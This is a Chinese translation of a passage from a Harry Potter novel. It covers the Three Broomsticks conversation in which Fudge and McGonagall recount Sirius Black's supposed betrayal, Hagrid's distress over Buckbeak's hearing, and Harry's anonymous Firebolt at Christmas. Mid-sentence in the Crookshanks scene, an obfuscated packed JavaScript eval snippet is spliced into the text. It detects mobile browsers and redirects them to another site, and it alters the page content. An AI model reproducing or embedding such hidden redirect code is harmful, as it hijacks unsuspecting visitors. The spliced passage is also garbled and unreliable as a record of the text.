“您知道吗,我仍旧不大能相信这一点,”罗斯默塔女士沉思着说,“在堕落到坏人堆中去的所有人当中,小天狼星布莱克是我最没想到会这样做的人...我的意思是说,我记得他在霍格沃茨还是个孩子的时候,如果你在那个时候就告诉我,说他会变成什么样子,那我就会说你酒喝多了。” “你对事情真相知道的还不到一半,罗斯默塔。”福吉态度生硬地说,“很少有人知道他做过的最坏的事。” “最坏的?”罗斯默塔女士说,声音里充满了好奇,“您的意思是说,比杀掉那么多可怜的人还要坏吗?” “当然啦。”福吉说。“我没法相信。还有什么能比这更坏呢?” “你说你记得他在霍格沃茨的情况,罗斯默塔,”麦格教授喃喃地说,“你还记得他最好的朋友是谁吗?” “当然记得,”罗斯默塔女士说,浅浅笑了一声,“两人形影不离,是不是?我看见他们在这里的次数——哦,他们总弄得我大笑。一对好搭档,小天狼星布莱克和詹姆·波特!” 哈利当的一声掉了手中的大杯子。罗恩踢了他一下。 “一点儿不错,”麦格教授说,“布莱克和波特。他们那个小集团的头子。两个人都很聪明,当然——说实在的,是特别的聪明——但是我想我们从来没有遇到过这样一对能惹麻烦的人——” “我不知道,”海格吃吃笑着说,“弗雷德和乔治·韦斯莱是不是可以和他们来一番激烈的竞争。” “你都会以为布莱克和波特是兄弟呢!”弗立维教授插话表示赞成道,“形影不离!” “他们当然是形影不离啦,”福吉说,“波特信任布莱克,这种信任超过对其他所有朋友的信任。他们毕业离校的时候还是这样的。詹姆和莉莉结婚的时候,布莱克是伴郎。然后他们又叫布莱克做哈利的教父。哈利当然不知道。你们可以想象得到,知道这一点会折磨他到什么程度。” “是因为布莱克后来和神秘人结成了一伙吗?”罗斯默塔低声问道。 “比这还要糟呢,亲爱的...”福吉压低了嗓门以一种低沉的声音说了下去,“许多人并不知道波特夫妇明白神秘人在追他们。邓布利多自然是一直不倦地反对神秘人的,他有许多能干的探子。其中一个探子就把这件事告诉了邓布利多,邓布利多马上就告诉了詹姆和莉莉。他劝他们躲起来。邓布利多对他们说,他们最好的机会是那道赤胆忠心魔咒。” “那玩意儿怎么起作用啊?”罗斯默塔女士问,因为感兴趣而喘不上气来。弗立维教授清了清嗓子。 “非常复杂的咒语,”他吱吱地尖声说,“涉及用魔法把一个秘密,隐藏在一个活人的灵魂之中。这个秘密藏在选中的那个人,或者说保密人心里,从此就不可能发现这个秘密了——当然,除非这个保密人存心泄露。只要保密人拒绝说话,神秘人就是搜查波特夫妇居住多年的村庄,也永远找不到他们,哪怕他在他们夫妇起居室外面的玻璃窗上,压扁了自己的鼻子也找不到!” “那么说布莱克就是波特夫妇的保密人了?” “自然,”麦格教授说,“詹姆·波特告诉邓布利多说,布莱克宁可自己死,也不会说出他们在哪里,还说布莱克自己也打算藏起来...就是这样,邓布利多还是担心。我记得他提出他自己来做波特夫妇的保密人。” “他信不过布莱克吗?”罗斯默塔女士喘着气问道。 “他肯定在接近波特夫妇的人当中,一定有谁一直在把他们的行踪告诉神秘人,”麦格教授阴郁地说,“的确,他在相当长的时间里怀疑我们这边有人成了叛徒,把许多信息告诉了神秘人。” “但是詹姆坚持要用布莱克是吗?” “是的,”福吉沉重地说,“然而,施用了赤胆忠心魔咒以后还不到一星期——” “布莱克背叛了他们吗?”罗斯默塔问。 “他的确背叛了他们。布莱克厌倦了两面派角色。准备公开宣布他支持神秘人,似乎打算就在波特死去的时候这样做。但是,正如我们都知道的那样。神秘人在小哈利·波特那里失了手。他失去了法力,极其衰弱,只能逃走了。这就弄得布莱克进退两难了。布莱克刚刚暴露了他的叛徒真面目,他的主子就倒台了。他别无选择,只能奔跑逃命了——” “肮脏、发臭的叛徒!”海格说,声音很响,以至整个酒吧都静了下来。 “嘘!”麦格教授说。 “我遇到过他!”海格吼道,“在他杀死许多人以前,我一定是最后见到他的人!在那些人都被杀死以后,是我从詹姆和莉莉的家里把哈利救出来的!我是把他从废墟里救出来的,可怜的小东西,前额上还有一道长长的伤口,而且他的父母都死了...这时小天狼星布莱克出现了,骑在他那平时常骑的飞行摩托上。我一直搞不清他在那里干什么。我不知道他是詹姆和莉莉的保密人。当时我以为他听说了神秘人发动攻击的消息,是到那里看看他能做些什么呢。当时他面色苍白,浑身发抖。你们知道我做了什么吗?我安慰了那个杀人的叛徒!”海格咆哮道。 “海格,别!”麦格教授说,“声音放低一些!” “我怎么知道他不是在为莉莉和詹姆伤心啊?他关心的是神秘人!然后他说:‘把哈利给我吧,海格,我是他的教父,我会照顾他的——’哈!但是邓布利多吩咐过我,于是我对布莱克说不行,邓布利多说哈利应该到他姨妈和姨父那里去。布莱克不同意,但最后他让步了。叫我骑他的摩托把哈利送到那里去。‘我不再需要这辆摩托了。’这是他说的。那时我本来应该知道这里面有些什么可疑的地方。他十分喜爱那辆摩托,他把摩托给我干吗?他为什么不再需要那辆摩托了?其实这再容易理解不过了。邓布利多知道,他曾经是波特夫妇的保密人。布莱克知道他当天晚上就要逃命,知道不用几个钟头,魔法部就会来追捕他。” “但是要是我把哈利给了他又会怎样呢?我打赌半路上,他就会把哈利从摩托上扔到海里去。他最好的朋友的儿子!不过要是一个巫师堕落了,他就会对任何事情、任何人都满不在乎了...” 海格说完了,大家一阵长时间的静默。 然后罗斯默塔女士带着一定程度的满足说话了。“但是他没有想办法躲起来啊,是不是?第二天魔法部就抓到了他!” “哎呀,要是我们抓到他就好了,”福吉痛苦地说,“找到他的不是我们。而是小矮星彼得——波特的另外一个朋友。他肯定是悲哀得疯狂了,他知道布莱克曾经是波特夫妇的保密人,所以他自己就去追布莱克了。” “小矮星彼得...那个胖胖的小男孩,在霍格沃茨一直跟在他们后面的那个吗?”罗斯默塔问道。 “把波特和布莱克当英雄来崇拜,”麦格教授说,“要是数聪明,从来不是他们一伙的。我时常对他很凶。你们可以想象现在我是多么——多么后悔...”她声音发涩,好像突然患了感冒。 “好啦,米勒娃,”福吉宽容地说,“小矮星彼得死得英雄。目击者——是麻瓜们,事后我们自然抹去了他们的记忆——告诉我们说,小矮星彼得是怎样把布莱克逼到绝地的。他们说他在抽泣。‘莉莉和詹姆,小天狼星!你怎么能!’然后他拿起魔杖。当然,布莱克比他快。小矮星彼得就这样被炸成了碎片。” 麦格教授擤了擤鼻子,激动地说:“笨孩子.傻孩子...他在决斗的时候总是糟得不行...应该让魔法部来动手的...” “我告诉你,要是我在小矮星彼得之前抓到布莱克,我可不用什么魔杖——我会折断——一个一个地折断他的四肢。”海格咆哮道。 “你都不知道你在说什么,海格。”福吉尖锐地说,“只有魔法法律执行队那些经过训练的打击手,也许才能在布莱克没有到走到绝境的时候打败他。那时我是魔法灾难部的副部长,我也是在布莱克杀了那么多人之后,第一批赶到现场的。我——我永远不会忘记那场面。有时我做梦还梦见呢。街道中间一个大坑,深得把下面的下水管道也弄破了。到处是尸体。麻瓜们尖叫着。而布莱克站在那里狂笑,小矮星彼得的残骸就在他面前...一堆血迹斑斑的袍子和不多——不多的碎块——” 福吉突然住了口。传来五个人擤鼻子的声音。 “好吧,故事你知道了,罗斯默塔,”福吉沙哑地说,“布莱克被魔法法律执行队的二十名巡逻员带走了,小矮星彼得则得到了一级梅林爵士勋章。我想这对他可怜的妈妈多少算是安慰吧。自从那以后,布莱克一直被关在阿兹卡班。” 罗斯默塔女士长叹一声。 “他疯了,是真的吗,部长?” “但愿他是疯了,”福吉慢慢地说,“我相信他的主子失败这件事,让他在一段时间内精神失常了。杀死小矮星彼得和那么多麻瓜,这是一个走投无路、绝望的人做的事——残酷...没有目的。但是上一次我视察阿兹卡班时遇到了布莱克。你们知道,那里的犯人多数坐在那里,在黑暗中对自己嘟嘟嚷嚷,他们已经没有什么意识了...但是,让我震惊的是,布莱克似乎很正常。他对我说的话很有条理。我感到烦恼不安。你们会以为他只是感到厌烦罢了——问我有没有看完报纸,冷静得不得了,说他想做报纸上的纵横填字游戏。那些摄魂怪竟然没有对他产生什么影响,这真叫我震惊——而且他还是那里的要犯,看管他的人特别多,你们知道。狱卒就在他门口,白天黑夜都有。” “但是,你想他逃出来要干什么呢?”罗斯默塔女士问。“天哪。部长。他不会又去找神秘人,会不会啊?” “我敢说这是他的——哦——最终计划,”福吉含含糊糊地说,“但是早在那以前,我们就希望抓住布莱克。我必须说,如果神秘人是孤身一人,又没有朋友,这是一种局面...但要是把他最忠诚的仆人还给他,想到他会很快地东山再起,我就不寒而栗...” 玻璃和木头相碰的声音,很小。有人把杯子放到了桌子上。“你知道,康奈利,如果你要和校长一起吃晚饭,那我们不如现在就回城堡。”麦格教授说。 哈利面前的脚再次一双一双地,载着它们主人的身体移动了。斗篷的边沿映入眼里,罗斯默塔女士发亮的鞋跟消失在吧台后面。三把扫帚的门又开了,卷进来一阵雪花,老师们走了。 “哈利?” 罗恩和赫敏的脸出现在桌子下面。他们都瞪着他,一句话也说不出来。 49.火弩箭 哈利对于他是怎么回到蜂蜜公爵的地窖、又是怎么钻地道,再次进入城堡这个过程并不很清楚。他清楚的只是返回的路程似乎没费什么时间,而且他几乎没有注意到自己在做什么,因为他满脑子都塞满了刚刚听到的那些事。 为什么谁也没有告诉过他呢?邓布利多、海格、韦斯莱先生、康奈利·福吉...他的父母被最好的朋友出卖而死,这件事为什么从来没有人告诉过他呢?吃晚饭的时候,罗恩和赫敏一直不安地观察着哈利,不敢谈论他们偷听到的事,因为珀西就坐在他们近旁。 他们上楼到了拥挤的公共休息室,却发现弗雷德和乔治由于期末即将到来高兴不已,已经布下了六个大粪弹。哈利不想让弗雷德和乔治问他有没有去过霍格莫德村,便悄悄地去了空无一人的宿舍,一直走向他的床头柜。他把书本推向一边,很快就找到了要找的东西——一本皮面相册,海格两年前给他的,里面都是他父母的带魔法的照片。 他坐在床上,拉上床四周的帷幕,开始一页页地翻动相册,直到...他停在他父母结婚那天的照片上。他爸爸在对他招手,满脸是笑,他那被哈利继承下来的乱糟糟的黑头发向四面八方竖着。照片上也有妈妈,因为幸福而满脸生辉,同他爸爸手挽手并排站着,还有...那一定是他。他们的伴郎...哈利以前从来没有想到过他。 如果他不知道那就是同一个人的话,他永远也不会猜到这张老照片上的人就是布莱克,他的脸庞并不凹陷蜡黄,却是英俊的、笑嘻嘻的。拍这张照片的时候,他就已经在为伏地魔效劳了吗?他是不是已经在计划着杀死身边的两个人了?他知道他要面对阿兹卡班的十二年,面对这会让他变得叫人认不出来的十二年吗?但是那些摄魂怪没有对他产生影响,哈利想道,一面瞪眼看着那张英俊的笑脸。如果它们太靠近,他不一定非要听到我妈妈的尖叫——哈利啪的一声合上相册,伸手把相册塞进床头柜,脱下长袍,摘下眼镜,躺到床上,又看看帷幕是不是把自己遮起来了。 宿舍的门开了。 “哈利?”罗恩的声音,犹犹疑疑的。 哈利一动不动,假装睡着了。他听到罗恩离开了,于是翻了个身,睁大眼睛。 哈利全身流淌着一种他以前从不知道的仇恨之情,这种仇恨的感情就像毒药一样。他看见布莱克透过黑暗对他大笑,好像有人把照片从相册上拿下来贴到了他眼前。他看着,好像有人在为他放映电影,小天狼星布莱克正在把小矮星彼得(他看起来就像纳威·隆巴顿)炸成碎片。 他似乎听到有人(尽管他不知道布莱克的声音听起来是什么样的)在兴奋地低声叽咕:“事情成了,主人...波特夫妇已经让我当他们的保密人了...”然后是另外一个人的声音,这人尖厉地大笑。正是摄魂怪走近时他脑子里就会听到的声音..“哈利,你—— 你脸色不好。” 哈利直到破晓时分才睡着。他醒来时发现宿舍里空无一人。他穿好衣服,走下螺旋形楼梯到了公共休息室。那里也没有人,只有罗恩,他正在吃一个蟾蜍薄荷糖,并且在按摩他的胃。还有赫敏,正把家庭作业摊满了三张桌子。 “人都到哪里去了?”哈利问。 “走啦!这是假期第一天,记得吗?”罗恩说,仔细地观察哈利。“差不多要吃午饭了,我本来要马上去叫醒你的。” 哈利一屁股坐进壁炉旁边的那张椅子。窗外雪花仍在飞舞。克鲁克山在壁炉前面摊开四肢躺着,活像一大张姜黄色的毛毯。 “你真的脸色不好,你知道。”赫敏说,焦急地往他脸上看。 “我好好的。”哈利说。 “哈利,听着,”赫敏说,和罗恩交换了一下眼色,“对于我们昨天听到的东西,你一定心烦意乱。但是要紧的是,你一定不能干蠢事。” “比如?”哈利问。 “比如去追寻布莱克。”罗恩尖锐地说。 哈利明白,他睡着的时候,他们两人已经演练过这样的对话了。他什么也没说。 “你不会这样干的,是不是,哈利?”赫敏说。 “为布莱克而死是不值得的。”罗恩说。 “摄魂怪一走近我,我就看到听到什么,你们知道吗?” 罗恩和赫敏都摇摇头,一副担心的神色。 “我能听到我妈妈尖叫,听到她恳求伏地魔。如果你们听到妈妈那样地尖叫,正要被人杀死以前的尖叫,你们不会忘记的。如果你们发现某一个人,本来大家都认为是她的朋友,可他却背叛了她,叫伏地魔去追她——” “你什么事也做不了!”赫敏说,忧心忡忡的。“摄魂怪会抓住布莱克的,布莱克会回到阿兹卡班的,而且——而且他活该!” “你听到福吉说的话了。布莱克不像正常人一样受到阿兹卡班的影响。这种惩罚对他来说和对其他人不一样。” “你在说些什么呀?”罗恩说,显得很紧张。“你想——杀布莱克还是有别的打算?” “别犯傻,”赫敏说,声音里带着恐慌,“哈利没想杀谁,是不是,哈利?” 哈利没有回答。他不知道自己想干什么。他只知道,当布莱克逍遥法外的时候,他却无所事事,这念头几乎让他受不了。 “马尔福知道,”他猝然说,“记得他在魔药课上说的话吗?‘要是我的话,我会亲自去追捕他...我要复仇。” “你要听马尔福的劝告,而不听我们的吗?”罗恩狂怒着说,“听着..你知道布莱克结果了小矮星彼得之后,小矮星彼得的妈妈得到的是什么吗?爸爸告诉我——是梅林爵士勋章,一级,还有就是盒子里装着的,小矮星彼得的手指。这是人们能够找到的他的最大一块遗骸。布莱克疯了,哈利,而且他是危险的——” “马尔福的爸爸一定告诉他了,”哈利说,不理罗恩刚才说的话,“他是伏地魔派的核心人物——” “说神秘人,行不行?”罗恩生气地打断他。 “——所以,马尔福一家显然知道布莱克是在为伏地魔工作——” “——而马尔福愿意看到你炸成百万个碎片,就像小矮星彼得那样!弄弄清楚吧,马尔福正巴不得你在魁地奇比赛以前就自己找死呢。” “哈利,求你了,”赫敏说,现在她眼里闪耀着泪光,“求你理智些。布莱克做了一件非常、非常可怕的事情,但是别让你自己处在危险之中啊,那正是布莱克巴不得看到的...哦,哈利,要是你去找布莱克,那你正是亲自送到他手里去了。你的妈妈和爸爸不愿意你受到伤害,对不对?他们永远不会要你去找布莱克的!” “我永远不会知道他们的想法,因为,多谢布莱克,我从来就没有跟他们说过话。”哈利暴躁地说。 有一会儿谁也没说话,这时克鲁克山大大地伸了个懒腰,把四个爪子屈曲了一下。罗恩的衣袋颤抖起来。 “看,”罗恩说,显然打算改变话题,“这是假期!圣诞节快要到了!咱们——咱们下去看看海格吧,好久好久没去看他了!” “不!”赫敏马上说,“哈利不能离开城堡,罗恩——” “啊,咱们走吧,”哈利说,坐直了身子,“我还可以问他,为什么他告诉我所有、有关我父母的事情的时候,竟然从来没提起布莱克!” 进一步讨论布莱克,显然不是罗恩和赫敏心里愿意的事。 “要不然咱们下棋吧,”罗恩匆忙改口说,“要不然就玩高布石吧,珀西留下了一套...” “不,去看海格。”哈利坚定地说。 于是他们从宿舍里拿了斗篷,通过那张肖像画上的洞(“站住,交手打一架,你们这些黄肚皮的杂种狗!”),穿过空荡荡的城堡,走出橡木大门。 他们在草坪上慢慢地走着,耀眼的粉状白雪上留下了一道浅沟,袜子和斗篷的边缘都湿透了,还结了冰。禁林看上去好像中了魔法似的,每一棵树都稍稍蒙上了一层银色,而海格的小屋看上去像是一块冰糕。 罗恩敲门,却没有人答应。 “他没出去吧,对不对?”赫敏说着,在斗篷下面发抖。 罗恩把耳朵贴在门上。 “有一种奇怪的声音,”他说,“听——是牙牙吗?” 哈利和赫敏也把耳朵贴到门上去听。小屋里面传来一阵阵低低的、有规律颤动的呻吟声。 “咱们最好去找人来好吗?”罗恩不安地说。 “海格!”哈利叫道,用力拍门,“海格,你在家吗?” 传来沉重的脚步声,然后门吱呀一声开了。海格站在那里,眼睛红肿,眼泪纷纷落在他那件皮背心的前襟上。 “你们听到了!”他大声喊叫,然后一下子就扑到哈利身上,两手搂住哈利的脖子。 海格至少有常人两倍大,这可不是开玩笑的事。哈利在海格的重压之下几乎要崩溃了,幸而得到罗恩和赫敏的救援:他们分别钻到海格的腋下把他架了起来。哈利也帮了一把,三个人就这样把海格弄回了小屋。海格听任自己被引到椅子上坐下,然后扑到桌子边上,控制不住地抽泣起来,脸上满是泪水,泪珠也跌落到他那虬结的胡子上。 “海格,怎么啦?”赫敏问,惊呆了。 哈利发现桌子上有封官方模样的信件,已经拆开了。“那是什么,海格?” 海格抽泣得更厉害了,他把信推向哈利,哈利拿起信读了起来:亲爱的海格先生:我们进一步调查了你班上发生的鹰头马身有翼兽攻击学生的事件,我们接受了邓布利多教授的保证,认定你对于此次令人遗憾之事件不负任何责任。 “那不是很好嘛,海格!”罗恩说,拍拍海格的肩膀。但是海格继续抽泣,还摇了摇他那双巨大的手,示意哈利继续读下去。 然而。我们必须表示我们对于这头成问题的鹰头马身有翼兽的关注。我们已经决定支持卢修斯·马尔福先生的正式投诉,因此这件事将交由处置危险生物委员会处理。四月二十日将于该委员会伦敦办事处举行听证,我们将要求你和你的鹰头马身有翼兽于该日出席。在此期间,鹰头马身有翼兽应予拴系并加以隔离。你的同事..底下是一长列校董事会的名单。 “哦,”罗恩说,“但是你说过巴克比克不是头作恶的鹰头马身有翼兽啊,海格。我打赌它会没事——” “你不了解处置危险生物委员会那些怪人!”海格哽咽着说,用袖子擦了擦眼泪,“他们和这些有趣的动物干上了!” 海格的小屋一角忽然传来一种声音,哈利、罗恩和赫敏飞快地转过身子。那头鹰头马身有翼兽,巴克比克正卧在屋角,嚼着什么东西,弄得地板上到处流淌着鲜血。 “我可不能用绳子把它系在雪地里!”海格哽咽着说,“孤零零的!大圣诞节的!” 哈利、罗恩和赫敏面面相觑。他们还从来没有和海格一起,面对面地看过这个被海格称之为“有趣的动物”,而被其他人称之为“可怕的怪物”的东西。另一方面,巴克比克似乎没有任何伤害人的意思。实际上,根据海格通常的标准,它肯定是逗人喜爱的。 “你必须准备强有力的辩护词,海格。”赫敏说,她坐了下来,把手放在了海格粗大的前臂上。“我肯定你能证明巴克比克不会伤人。” “那也没有用!”海格抽泣道,“那些处置委员会的恶魔,他们都在卢修斯·马尔福的掌握之中!怕他!如果我败诉了,巴克比克——” 海格迅速地把手指在喉间一划,然后一声哀鸣,向旁边一倒,脸埋在双臂里。 “邓布利多怎么说,海格?”哈利问。 “他为我已经做得够多了,”海格呻吟道,“光是不让那些摄魂怪进入城堡就够难为他了,还有小天狼星布莱克到处游荡...” 罗恩和赫敏迅速地看了哈利一眼,好像期待他会责备海格没有把有关布莱克的真相告诉他似的。但是哈利没法让自己这样做’因为他现在看到海格是多么悲惨和害怕。 “听着,海格,”他说,“你不能放弃。赫敏说得对,你就得准备好辩护词。你可以叫我们当证人。” “我肯定读过一宗鹰头马身有翼兽的伤人案件,”赫敏沉思着说,“在那个案子里,鹰头马身有翼兽没事。我替你我一下,海格,找到了就好好研究一下是怎么回事。” 海格更加响亮地嚎哭起来。哈利和赫敏看看罗恩,指望他来帮忙。 “哦——我来泡茶怎么样?”罗恩说。 哈利瞪着他。 “有人情绪坏的时候,我妈就是这样做的。”罗恩咕哝道,耸了耸肩。 最后,在他们又多次保证帮忙、面前又放上了一杯滚烫的茶以后,海格才在一块足有桌布那么大的手帕上擤了擤鼻子说:“你们说得对。我可不能垮了。一定要振作起来...” 牙牙从桌子底下胆怯地走出来,把脑袋靠在海格的膝上。 “最近我一直不对劲,”海格说,一手抚着牙牙,另一只手摸着自己的脸,“担心巴克比克,而且没有人喜欢我的课...” “我们喜欢!”赫敏马上说谎道。 “是啊,你的课真棒!”罗恩说,一面在桌子下面交叉手指,告诉上帝自己是在说谎,“哦——弗洛伯毛虫怎么样了?” “死了,”海格阴郁地说,“莴苣吃得太多了。” “哦,不!”罗恩说,嘴唇颤动起来。 “那帮摄魂怪也让我心烦意乱,”海格说,身子突然一震,“每次我想去三把扫帚喝酒,就必须从它们面前走过,好像我又回到了阿兹卡班似的...” 他不做声了,大口喝着茶。哈利、罗恩和赫敏屏住气看着他。他们从来没有听到海格提起过,以前他在阿兹卡班短暂停留的情况。沉默了一小会儿之后,赫敏小心翼翼地问道:“那里很可怕吗,海格?” “你们想象不出来,”海格平静地说,“什么地方也不像那里。我以为我要疯了。脑子里老是想着可怕的事情...我被霍格沃茨开除的那天...我爸死的那天...我不得不让诺伯走的那天...” 他眼里充满了泪水。诺伯是海格有一次打牌赢来的一条小龙。 “过了一阵子你就不知道自己是谁了。而且你也不知道活着有什么意思。我常常巴不得自己一觉就睡死过去...他们放我出来的时候,我好像重新活了一次,什么事情都想起来了,那真是世界上最美妙的感觉。记住,摄魂怪不愿意放我走。” “但你没有罪啊!”赫敏说。 海格哼了一声表示愤怒。 “你以为它们着重这个吗?它们才不在乎呢。它们早就弄了二百来个人和它们在一起,它们能够把这些人的快乐完全吸干,它们才不在乎谁有罪、谁没罪呢。” 海格安静了一会几,瞪眼看着他的茶。然后他平静地说:“我想过放巴克比克走...想让它飞走..但是你怎么能向一个鹰头马身有翼兽解释清楚它应该躲起来呢?而且—— 而且我怕犯法...” 他抬头望着他们,泪水又从他脸上流了下来。“我不想再回到阿兹卡班去。” 海格的小屋之行,虽然远远不是什么有趣的事,却收到了罗恩和赫敏所希望的效果。尽管哈利绝对没有忘了布莱克,但如果他想帮助海格打赢对处置危险生物委员会的官司,他就不能总是想着报仇的事了。 他、罗恩和赫敏第二天就到图书馆去了,回到空荡荡的公共休息室的时候,臂弯里抱满了书,这些书也许有助于为巴克比克准备辩护词。三个人坐在怒吼的炉火前面,慢慢地翻动着那些满是灰尘的卷宗,那都是有关攫食动物的着名案例,他们看到相关情况时就偶尔交谈几句。 “这里有些东西..这是一七七二年的一个案例...但是这只鹰头马身有翼兽是判了罪的——唔,看看人们对它都做了些什么,恶心...” “这个可能有帮助,看——一二九六年一只人头龙身狮尾怪兽咬了什么人,人们放了这头怪兽——哦,不,这只是因为大家都害怕,都不敢接近它...” 此时,在城堡的其他地方,圣诞节惯有的壮丽装饰都做好了,尽管留校的学生很少。 沿着走廊挂起了冬青和槲寄生做成的厚厚的饰带,每一副盔甲里面都透出了神秘的灯光,礼堂里照常摆放着十二棵圣诞树,树上闪耀着金色的星星。走廊里充满了浓烈诱人的烹饪香味,到了圣诞节前夕,这香味强烈得就连斑斑也把鼻子从罗恩的衣袋这个庇护所里伸了出来,饱含希望地嗅着这股气息。 圣诞节那天早上,哈利被罗恩扔过来的枕头弄醒了。 “喂!礼物!” 哈利伸手去拿眼镜戴上,在半明半暗之中眯着眼往床脚看,那里已经出现了一小堆包裹。罗恩已经在撕他自己的那份礼物的包装纸。 “妈妈又给了我一件连帽皮外衣...又是栗色的,看看你是不是也得到了一件。” 哈利也有。韦斯莱太太送了他一件猩红色的连帽皮外衣,前襟织上了一头格兰芬多院的狮子,还有十二个家里烤制的碎肉馅饼、一些圣诞节糕点和一盒松脆花生薄片糖。他把这些东西都移开后,看见底下还有一个细长的包裹。 “那是什么?”罗恩看着问道。他手里拿着一双栗色的袜子,刚打开包装。 “不知道...” 哈利撕开那个包裹,一把漂亮的、闪闪发光的飞天扫帚滚到他的床上,他惊讶得喘不过气来。罗恩丢下袜子,从床上跳下来看个仔细。 “我真不能相信。”他哑着嗓子说。 那是火弩箭,正和哈利在对角巷时每天去看、梦寐以求的那把一模一样。哈利把它拿起来,它闪闪发光。他能感觉到它在颤动,于是就放了手。它悬在半空中,没有任何依托,离地的高度正适合他骑上去。他的眼睛从飞天扫帚最上端的金色序号一直看到完全平滑、呈流线型的扫帚末稍。 “是谁送给你的?”罗恩悄声问道。 “看看是不是有卡片。”哈利说。 罗恩撕开火弩箭的包装纸。 “什么也没有!哎呀,谁为你花这么多钱啊?” “唔,”哈利说,诧异得不得了,“我敢打赌不是德思礼家。” “我打赌是邓布利多,”罗恩说,绕着辉煌的火弩箭走了又走,从头到尾看了个仔细,“他不是匿名给你送过隐形衣吗?” “不过那是我爸爸的呀,”哈利说,“邓布利多只是把它交给我罢了。他不会在我身上花这么多钱的:他可不能给学生这样贵重的东西。” “所以他才不说这是他送的呀!”罗恩说,“要不然像马尔福这样的家伙就会说他偏心了。 “嘿,哈利——”罗恩大笑起来,“马尔福!等他看见你骑着这把扫帚!他会难受死的!这是一把国际水平的扫帚,真的!” “我真不能相信,”哈利嘟囔道,一手抚摸着这把扫帚,“谁——?” 罗恩这时躺到哈利的床上,想到马尔福会是什么模样就笑得气都喘不过来。 “我知道了,”罗恩说,尽量压下笑声,“我知道可能是谁送的了——卢平!” “什么?”哈利说,现在他开始笑起来了。“卢平?听着,如果他有这么多钱。他就能够给自己多买几件新袍子了。” “对啊,不过他喜欢你。”罗恩说,“你那把光轮弄得粉碎的时候他不在场,他也许听说了这件事,就到对角巷,给你买了一把——” “你说他没在场,这是什么意思啊?”哈利说,“我参加比赛的时候,他病了?” “唔,他可不在学校的医院里。”罗恩说,“当时我在医院里,斯内普不是罚我去洗夜壶吗,记得不记得?” 哈利对罗恩皱着眉头。 “我看卢平买不起这样的东西。” “你们两人在笑什么?” 赫敏刚进来,穿着晨衣,带着克鲁克山。克鲁克山看上去脾气很坏,脖子上系了一圈金属丝。 “别把它带到这儿来!”罗恩说,匆匆地把斑斑从他床上抓到手里,藏到他晨衣口袋里去了。但是赫敏没听他的,她把克鲁克山放到西莫的空床上,自己张大了嘴看着那火弩箭。 “哦,哈利!这个是谁送给你的?” “不知道,”哈利说,“这份礼物没有带卡片或是任何东西。” 令哈利大为惊讶的是,她听到这句话既不兴奋也不好奇。相反,她的脸拉长了,还咬着嘴唇。 “你这是怎么啦?”罗恩问道。 “我不知道,”赫敏慢慢地说,“不过这件事有点儿怪,是不是?我的意思是说,这应该是把相当不错的扫帚,是不是?” 罗恩愤怒地叹了口气。 “这是最好的飞天扫帚,赫敏。”他说。 “那它一定很贵...” “很可能比斯莱特林队所有的飞天扫帚加在一起还要贵。”罗恩高兴地说。 “唔...谁会送哈利这样贵重的东西,而且又不告诉他是谁呢?”赫敏问。 “谁管这个呀?”罗恩不耐烦地说,“听着,哈利,我骑一下行吗?行不行?” “我认为目前谁也不能骑它!”赫敏尖声说。 哈利和罗恩看着她。 “你以为哈利要拿它干什么——扫地吗?”罗恩说。 但是赫敏还没来得及回答,克鲁克山就从西莫床上跳了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424098|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直奔罗恩的胸口。 “把——它——从——这里——赶——出去!”罗恩吼道。这时克鲁克山的爪子已经撕开罗恩的晨衣,斑斑设法从罗恩肩膀上拼命逃跑。罗恩抓住斑斑的尾巴。对克鲁克山踢了一脚,却没有踢中,踢在了哈利床脚的箱子上,把箱子踢翻了。罗恩自己在原地单腿跳着,痛得直叫唤。 克鲁克山的毛突然竖了起来,房间里充满了尖尖的、微弱的叫声。那个袖珍窥镜从弗农姨父的旧袜子里跌了出来,正在地板上旋转发光。 “我忘了这个东西了!”哈利说着,弯下身去把它捡了起来。“只要有办法,我决不穿这双袜子...” 窥镜在他手掌上旋转着发出哨声。克鲁克山嘶嘶地叫着,对它喷了一口气。 “你不如把这只猫带走,赫敏。”罗恩狂怒着说,坐在哈利床上抚摸他的脚趾。 “你就不能把这东西关起来吗?”他又对哈利加上了一句。这时赫敏慢步走出房间,克鲁克山的黄眼睛仍旧恶狠狠地盯着罗恩。 哈利把窥镜仍旧塞到了袜子里,然后把它扔回箱中。现在只有罗恩的闷闷的呼痛声和发怒声。斑斑在罗恩手掌里蜷成一团。自从哈利看到它从罗恩衣袋里出来到此刻已经有一些时候了,他看到以前那么肥胖的斑斑,现在瘦得只剩皮包骨头了,他感到惊讶而不快:斑斑的毛似乎也在一块块地脱落。 “它看上去不大妙,是不是?”哈利说。 “就是紧张过度!”罗恩说,“要是那愚蠢的大毛球不去惹它,它就没事!” 但是哈利想起神奇动物园那位妇女说过,耗子只能活三年的话,因此不禁觉得除非斑斑具有它从来没有显示过的神力,否则它就是在接近它生命的终点。尽管罗恩一直抱怨说斑斑既讨厌又没用,哈利还是可以肯定,要是斑斑死了,罗恩会非常难过的。 那天早晨格兰芬多的公共休息室里,圣诞节的气氛肯定是淡薄的。赫敏把克鲁克山关在了宿舍里,但是对罗恩要踢它感到极其愤怒,罗恩则对于克鲁克山又想吃斑斑气得不得了。 哈利放弃了使他们两人和解的努力,一心一意去看他那把火弩箭,他已经把火弩箭带到公共休息室里来了。由于某种原因,这也让赫敏不高兴:她什么也没说,但是她一直阴沉地看着那把火弩箭。好像它也得罪过她的猫似的。 午饭时候,他们都到大厅里去了,发现那里的桌子又都移到靠墙的地方了,房间中央只放了一张可供十二人用餐的桌子。邓布利多教授、麦格、斯内普、斯普劳特和弗立维都在那里,看门人费尔奇也在。费尔奇已经脱去平常穿的棕色外套,穿着一件很旧而且相当过时的燕尾服。除了他们之外,学生只有三个:两个极其紧张的一年级学生,和一个脸色阴沉的斯莱特林的六年级学生。 